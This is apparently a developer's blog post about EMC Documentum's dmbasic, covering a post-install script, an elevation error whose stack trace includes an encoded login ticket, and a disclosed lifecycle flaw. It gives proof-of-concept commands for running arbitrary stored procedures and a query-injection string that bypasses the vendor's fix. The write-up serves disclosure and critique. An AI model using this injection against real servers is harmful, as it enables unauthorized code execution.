Dumb dmbasic

Today I had faced with following “challenge”:

When dealing with composer I prefer to put all object types into one project and all TBOs into another, due to following reasons:

  • both content server and composer are extremely slow in installing object types – I have seen some situations when installing object types takes about two hours because content server performs millions database selects
  • TBO implementation changes more often than object type definition

but today I was need to attach default aspects to certain object types, in order to do that I had written a post-install procedure (and, yeap, my eyes had came out):

Const glabel As String          = "Label"
Const ginfo As String           = "Info"
Const gerror As String          = "Error"

Private Sub PrintMessage(mssg As String, mssgtype As String)
  If(mssgtype=glabel) Then
            Print "<BR><B><FONT size=3>"
            Print mssg
            print "</FONT></B>"
  ElseIf(mssgtype=ginfo) Then
            Print "<BR><FONT color=blue>"
            Print mssg
            print "</FONT>"
  ElseIf(mssgtype=gerror) Then
            Print "<BR><FONT color=red size=3>"
            Print mssg
            print "</FONT>"
  Else
            Print "<BR>" & mssg
  End If
End Sub

Private Sub AddAspect(TypeName2 As String, AspectName As String)
    Dim AddQryAPI As String
    Dim APIStatus As String
    Dim Status As Integer
    Dim QueryID As String
    Dim AttributeID As String

    AddQryAPI = "query,c,ALTER TYPE " & TypeName2 & " ADD DEFAULT ASPECTS " & AspectName
    Call PrintMessage("Adding the aspect " & AspectName & " to " & TypeName2, ginfo)
    QueryID = dmAPIGet(AddQryAPI)
    If QueryID <> "" Then
         Call PrintMessage("Adding success", ginfo)
         Status = dmAPIExec("close,c," & QueryID)
    Else
         msgStr$ = dmAPIGet("getmessage,c")
         Call PrintMessage(msgStr$, gerror)
         msgStr$ = "Failed to add default aspect " & AspectName
         Call PrintMessage(msgStr$, gerror)
         dmExit(1)
    End If
End Sub



Sub PostInstall(DocbaseName As String, UserName As String, Password As String)
  Dim SessionID As String

  SessionID= dmAPIGet("connect," & DocbaseName & "," & UserName & "," & Password)
  If SessionID ="" Then
    Print "Fail to connect to docbase " & DocbaseName &" as user " & UserName
    DmExit(-1)
  Else
    Print "Connect to docbase " & DocbaseName &" as user " & UserName
  End If

  Call AddAspect("type1", "aspect1")

End Sub

but when installing composer project I got weird error:

[FATAL]  An unexpected error has occurred during installation.

For more details, check the most recent error log located by default in 'C:\Temp\documentum\'.
com.emc.ide.installer.PostInstallException: Error running post-install procedure "postinstall"
        at internal.com.emc.ide.installer.DarInstaller.postInstall(DarInstaller.java:1574)
        at internal.com.emc.ide.installer.DarInstaller.doInstall(DarInstaller.java:669)
        at internal.com.emc.ide.installer.DarInstaller.doInstall(DarInstaller.java:334)
        at internal.com.emc.ide.installer.DarInstaller.doInstall(DarInstaller.java:303)
        at com.emc.ide.installer.popup.actions.InstallOperation.installDar(InstallOperation.ja
        at com.emc.ide.installer.popup.actions.InstallOperation.run(InstallOperation.java:80)
        at org.eclipse.jface.operation.ModalContext$ModalContextThread.run(ModalContext.java:1
Caused by: com.emc.ide.external.dfc.procedurerunner.ProcedureRunnerException: Failed to run dm
mbasic\dmbasic.exe -f G:\Users\andrey\work\vk\ord_int\dev\ContentServer\ComposerProject\esed_d
CKET=T0JKIE5VTEwgMAoxMwp2ZXJzaW9uIElOVCBTIDAKMwpmbGFncyBJTlQgUyAwCjEKc2VxdWVuY2VfbnVtIElOVCBTI
MTcwCmRvbWFpbiBJTlQgUyAwCjAKdXNlcl9uYW1lIFNUUklORyBTIDAKQSA3IGRtYWRtaW4KcGFzc3dvcmQgU1RSSU5HIF
ENPUWJVcURIbGI5MXhIRWE1bmUrNDUwWXo5RUZtUXQwTWZ0WkNCa0NnRlhuYThieWdsOW5qYz0KZG9jYmFzZV9uYW1lIFN
VydmVyX25hbWUgU1RSSU5HIFMgMApBIDggRENUTV9ERVYKc2lnbmF0dXJlX2xlbiBJTlQgUyAwCjExMgpzaWduYXR1cmUg
3MDRFWXBlaW5RNE1UOVVBZ1pCeGFVYkhRQ3B2R29PbFRJRlpVcDZ3WVZFUXMxZ3VYa1Nqai9YQ3lvaE04Tkk2bDFYCg==)
        at com.emc.ide.external.dfc.procedurerunner.ProcedureRunnerUtils.executeCommand(Proced
        at com.emc.ide.external.dfc.procedurerunner.ProcedureRunnerUtils.executeDmBasic(Proced
        at com.emc.ide.external.dfc.procedurerunner.ProcedureRunner.execute(ProcedureRunner.ja
        at internal.com.emc.ide.installer.DarInstaller.postInstall(DarInstaller.java:1570)
        ... 6 more
Caused by: java.io.IOException: Cannot run program "G:\app\emc\composer\7.2\plugins\com.emc.id
rror=740, The requested operation requires elevation
        at java.lang.ProcessBuilder.start(ProcessBuilder.java:1041)
        at com.emc.ide.external.dfc.procedurerunner.ProcedureRunnerUtils.executeCommand(Proced
        ... 9 more
Caused by: java.io.IOException: CreateProcess error=740, The requested operation requires elev
        at java.lang.ProcessImpl.create(Native Method)
        at java.lang.ProcessImpl.<init>(ProcessImpl.java:385)
        at java.lang.ProcessImpl.start(ProcessImpl.java:136)
        at java.lang.ProcessBuilder.start(ProcessBuilder.java:1022)
        ... 10 more

What the fuck did just happened here?

For some weird reason EMC coders decided that dmbasic executable requires administrative privileges (note shield icon – I bet dmbasic sends some information directly to EMC, otherwise I can’t find any reason why it requires administrative privileges):

How to fix that? Initially I was trying to find manifest editor in google, but after a couple of futile attempts I just edited dmbasic binary in HEX editor and got following (note extra spaces intended to preserve file size):

What makes api/dmbasic suck

A year ago I discovered a design gap in Documentum lifecyles: though it is required to user have some permissions for both document and dm_policy objects to be able to promote document or attach lifecycle to document:

all lifecycle stuff narrows down to executing either dm_bp_transition or dm_bp_transition_java docbase method, so any user is able to change lifecycle state of any document by executing docbase method directly. Actually, the problem is more serious because dm_bp_transition docbase method is insecure by design – it accepts identifiers of “external” procedures and executes anything that is written there:

'------------------------------------------------------------
Sub BP_Transition(_

...

    userEntryID$,_
    actionID$,_
    userActionID$,_

...

  'Evaluate the user-defined entry criteria
  If (result = True And run_entry = "T") Then
    If (debug = True) Then
      PrintToLog sess, "Run user defined entry criteria."
    End If
    result = RunProcedure(userEntryID, 1, sess, sysID,_
                          user_name, targetState)
  End If

...

  If (procID <> "0000000000000000") Then
    result = CheckStatus("", 1, "loading procedure " & procID, True, errorMsg)
    result = external(procID)
    If (result = True) Then
      If (procNo = 1) Then
        ' --- Running user-defined entry criteria ---
        result = CheckStatus("", 1, "Running EntryCriteria", True, errorMsg)
        On Error Goto NoFunction
        result = EntryCriteria(sessID, objID, userName,_
                               targetState, errorStack)

...

A clear example:

 ~]$ cat external.ebs
Function EntryCriteria() as Boolean
   print "Hello, world!"
   EntryCriteria = True
End Function
 ~]$ cat test.ebs
Sub Test(procedureId$)
  Dim result as Boolean
  sess = dmAPIGet("connect,ssc_dev,dmadmin,dmadmin")
  result = external(procedureId$)
  result = EntryCriteria()
End Sub

 ~]$ iapi ssc_dev -Udmadmin -Pdmadmin
Session id is s0
API> create,c,dm_procedure
...
0801ffd7804368e6
API> setfile,c,l,external.ebs,crtext
...
OK
API> save,c,l
...
OK
API> exit
Bye

 ~]$ dmbasic -f test.ebs -eTest -- 0801ffd7804368e6
Hello, world!
 ~]$ 

I think it’s obvious that correct security fix must do following:

  • Restrict access to dm_bp_transition and dm_bp_transition_java methods
  • Check input parameters of dm_bp_transition method (identifiers of procedures to execute are stored in dm_policy object)

Unfortunately, this is not obvious for EMC (or too hard to implement basic checks using dmbasic) – they decided that the root cause of security vulnerability is a fact that any user is able to create dm_procedure objects (yeah, every man is a potential rapist – let’s cut off penises), and now we have:

API> create,c,dm_procedure
...
0801ffd780436937
API> save,c,l
...
[DM_USER_E_NEED_SU_OR_SYS_PRIV]error:  
  "The current user (test02) needs to have superuser or sysadmin privilege."

Unfortunately external() function in dmbasic accepts not only dm_procedure objects but any dm_sysobject:

API> create,c,dm_document
...
0901ffd780436944
API> setfile,c,l,external.ebs,crtext
...
OK
API> save,c,l
...
OK
API> Bye
 ~]$ dmbasic -f test.ebs -eTest -- 0901ffd780436944
Hello, world!

What did EMC for that? They decided that it is a good idea to load only dm_procedure objects in external() dmbasic’s function:

~]$ strings dmbasic | grep dm_procedure
id,%s,dm_procedure where object_name = '%s' and folder('%s')
id,%s,dm_procedure where r_object_id = '%s'
 ~]$ cat test.ebs
Sub Test(procedureId$)
  Dim result as Boolean
  sess = dmAPIGet("connect,ssc_dev,dmadmin,dmadmin")
  result = external(procedureId$)
  print dmAPIGet("getmessage,c")
  result = EntryCriteria()
End Sub
 ~]$ dmbasic -f test.ebs -eTest -- 0901ffd780436944
[DM_API_W_NO_MATCH]warning:  "There was no match in the docbase for the qualification: 
   dm_procedure where r_object_id = '0901ffd780436944'"

dmbasic: Error 35 in line 6: Sub or Function not defined
 ~]$

Does it look good? Actually, no. I have no idea who invented so ridiculous way to call Documentum RPCs through dmAPIGet/dmAPIExec commands, but concatenating command and arguments into single string and then parsing that string is a bad idea, take a look at API magic:

Session id is s0
API> id,c,dm_procedure where r_object_id='0901ffd780436944,' 
   union select r_object_id from dm_sysobject where r_object_id='0901ffd780436944'
...
0901ffd780436944
API> fetch,c,0901ffd780436944,' union select r_object_id 
   from dm_sysobject where r_object_id='0901ffd780436944
...
OK

Now:

 ~]$ dmbasic -f test.ebs -eTest -- "0901ffd780436944,' union \
> select r_object_id from dm_sysobject where r_object_id='0901ffd780436944"

Hello, world!
 ~]$